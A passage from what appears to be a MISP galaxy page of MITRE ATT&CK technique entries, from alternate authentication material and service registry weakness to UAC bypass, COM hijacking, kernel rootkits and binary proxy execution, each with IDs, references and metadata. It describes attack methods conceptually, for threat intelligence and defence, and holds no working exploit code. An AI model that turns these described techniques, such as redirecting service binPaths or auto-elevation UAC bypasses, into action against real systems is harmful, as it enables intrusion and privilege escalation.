Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)
Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.
Internal MISP references
UUID 51a14c76-dd3b-440b-9c20-2bf91d25a814 which can be used as unique global reference for Use Alternate Authentication Material - T1550 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1550 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Windows:lateral-movement', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-Google-Workspace:lateral-movement', 'attack-IaaS:lateral-movement', 'attack-Containers:lateral-movement'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Web Credential: Web Credential Usage'] |
| mitre_platforms | ['Windows', 'Office 365', 'SaaS', 'Google Workspace', 'IaaS', 'Containers'] |
Service Registry Permissions Weakness - T1058
Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)
Internal MISP references
UUID 39a130e1-6ab7-434a-8bd2-418e7d9d6427 which can be used as unique global reference for Service Registry Permissions Weakness - T1058 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1058 - webarchive
- https://capec.mitre.org/data/definitions/478.html - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html - webarchive
- https://twitter.com/r0wdy_/status/936365549553991680 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1058 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Command and Scripting Interpreter - T1059
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.
There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.
Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)
Internal MISP references
UUID 7385dfaf-6886-4229-9ecd-6fd678040830 which can be used as unique global reference for Command and Scripting Interpreter - T1059 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1059 - webarchive
- https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 - webarchive
- https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution', 'attack-Network:execution', 'attack-Office-365:execution', 'attack-Azure-AD:execution', 'attack-IaaS:execution', 'attack-Google-Workspace:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Process: Process Metadata', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network', 'Office 365', 'Azure AD', 'IaaS', 'Google Workspace'] |
Gather Victim Network Information - T1590
Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).
Internal MISP references
UUID 9d48cab2-7929-4812-ad22-f536665f0109 which can be used as unique global reference for Gather Victim Network Information - T1590 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Indicator Removal from Tools - T1066
If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
Internal MISP references
UUID 00d0b012-8a03-410e-95de-5826bf542de6 which can be used as unique global reference for Indicator Removal from Tools - T1066 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1066 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Exploitation for Privilege Escalation - T1068
Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.
Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.
Internal MISP references
UUID b21c3b2d-02e6-45b1-980b-e69051040839 which can be used as unique global reference for Exploitation for Privilege Escalation - T1068 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1068 - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules - webarchive
- https://unit42.paloaltonetworks.com/acidbox-rare-malware/ - webarchive
- https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1068 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Driver: Driver Load', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Containers'] |
Bypass User Account Control - T1088
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.
Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
eventvwr.execan auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
Internal MISP references
UUID ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be which can be used as unique global reference for Bypass User Account Control - T1088 in MISP communities and other software using the MISP galaxy
External references
- http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - webarchive
- http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - webarchive
- https://attack.mitre.org/techniques/T1088 - webarchive
- https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - webarchive
- https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - webarchive
- https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - webarchive
- https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - webarchive
- https://github.com/hfiref0x/UACME - webarchive
- https://msdn.microsoft.com/en-us/library/ms679687.aspx - webarchive
- https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - webarchive
- https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1088 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exploitation for Defense Evasion - T1211
Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)
Internal MISP references
UUID fe926152-f431-4baf-956c-4ad3cb0bf23b which can be used as unique global reference for Exploitation for Defense Evasion - T1211 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1211 - webarchive
- https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/ - webarchive
- https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/ - webarchive
- https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1211 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'SaaS', 'IaaS'] |
Extra Window Memory Injection - T1181
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Internal MISP references
UUID 52f3d5a6-8a0f-4f82-977e-750abf90d0b0 which can be used as unique global reference for Extra Window Memory Injection - T1181 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1181 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html - webarchive
- https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1181 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exploitation for Credential Access - T1212
Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.
Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)
Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)
Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.
Internal MISP references
UUID 9c306d8d-cde7-4b4c-b6e8-d0bb16caca36 which can be used as unique global reference for Exploitation for Credential Access - T1212 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=1515 - webarchive
- https://attack.mitre.org/techniques/T1212 - webarchive
- https://technet.microsoft.com/en-us/library/security/ms14-068.aspx - webarchive
- https://twitter.com/MsftSecIntel/status/1671579359994343425 - webarchive
- https://www.bugcrowd.com/glossary/replay-attack/ - webarchive
- https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1212 |
| kill_chain | ['attack-Linux:credential-access', 'attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Azure-AD:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'Azure AD'] |
Component Object Model Hijacking - T1122
The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Internal MISP references
UUID 9b52fca7-1a36-4da0-b62d-da5bd83b4d69 which can be used as unique global reference for Component Object Model Hijacking - T1122 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1122 - webarchive
- https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - webarchive
- https://msdn.microsoft.com/library/ms694363.aspx - webarchive
- https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1122 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Data from Information Repositories - T1213
Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as Sharepoint and Confluence, specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.
Internal MISP references
UUID d28ef391-8ed4-45dc-bc4a-2f43abf54416 which can be used as unique global reference for Data from Information Repositories - T1213 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1213 - webarchive
- https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events - webarchive
- https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1213 |
| kill_chain | ['attack-Linux:collection', 'attack-Windows:collection', 'attack-macOS:collection', 'attack-SaaS:collection', 'attack-Office-365:collection', 'attack-Google-Workspace:collection', 'attack-IaaS:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'SaaS', 'Office 365', 'Google Workspace', 'IaaS'] |
System Network Connections Discovery - T1421
Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network.
This is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs:
-
WifiInfofor information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying theWiFiInfoAPI requires the application to hold theACCESS_FINE_LOCATIONpermission. -
BluetoothAdapterfor information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime. -
For Android versions prior to Q, applications can use the
TelephonyManager.getNeighboringCellInfo()method. For Q and later, applications can use theTelephonyManager.getAllCellInfo()method. Both methods require the application hold theACCESS_FINE_LOCATIONpermission.
Internal MISP references
UUID dd818ea5-adf5-41c7-93b5-f3b839a219fb which can be used as unique global reference for System Network Connections Discovery - T1421 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1421 |
| kill_chain | ['mobile-attack-Android:discovery'] |
| mitre_platforms | ['Android'] |
Kernel Modules and Extensions - T1215
Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)
Internal MISP references
UUID 6be14413-578e-46c1-8304-310762b3ecd5 which can be used as unique global reference for Kernel Modules and Extensions - T1215 in MISP communities and other software using the MISP galaxy
External references
- http://tldp.org/HOWTO/Module-HOWTO/x197.html - webarchive
- http://www.megasecurity.org/papers/Rootkits.pdf - webarchive
- http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html - webarchive
- https://attack.mitre.org/techniques/T1215 - webarchive
- https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux - webarchive
- https://github.com/f0rb1dd3n/Reptile - webarchive
- https://github.com/m0nad/Diamorphine - webarchive
- https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ - webarchive
- https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html - webarchive
- https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - webarchive
- https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ - webarchive
- https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1215 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Build Image on Host - T1612
Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
Internal MISP references
UUID 800f9819-7007-4540-a520-40e655876800 which can be used as unique global reference for Build Image on Host - T1612 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1612 - webarchive
- https://blog.aquasec.com/malicious-container-image-docker-container-host - webarchive
- https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild - webarchive
- https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1612 |
| kill_chain | ['attack-Containers:defense-evasion'] |
| mitre_data_sources | ['Image: Image Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Containers'] |
Network Share Connection Removal - T1126
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \system\share /delete command. (Citation: Technet Net Use)
Internal MISP references
UUID e7eab98d-ae11-4491-bd28-a53ba875865a which can be used as unique global reference for Network Share Connection Removal - T1126 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1126 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
System Script Proxy Execution - T1216
Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Internal MISP references
UUID f6fe9070-7a65-49ea-ae72-76292f42cebe which can be used as unique global reference for System Script Proxy Execution - T1216 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1216 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
System Binary Proxy Execution - T1218
Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
Internal MISP references
UUID 457c7820-d331-465a-915e-42f85500ccc4 which can be used as unique global reference for System Binary Proxy Execution - T1218 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Build social network persona - T1341
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (Facebook, LinkedIn, Twitter, Google+, etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
Internal MISP references
UUID 9108e212-1c94-4f8d-be76-1aad9b4c86a4 which can be used as unique global reference for Build social network persona - T1341 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://attack.mitre.org/techniques/T1341 - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1341 |
| kill_chain | ['pre-attack:persona-development'] |
Remote access tool development - T1351
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)
Internal MISP references
UUID 9755ecdc-deb0-40e6-af49-713cb0f8ed92 which can be used as unique global reference for Remote access tool development - T1351 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
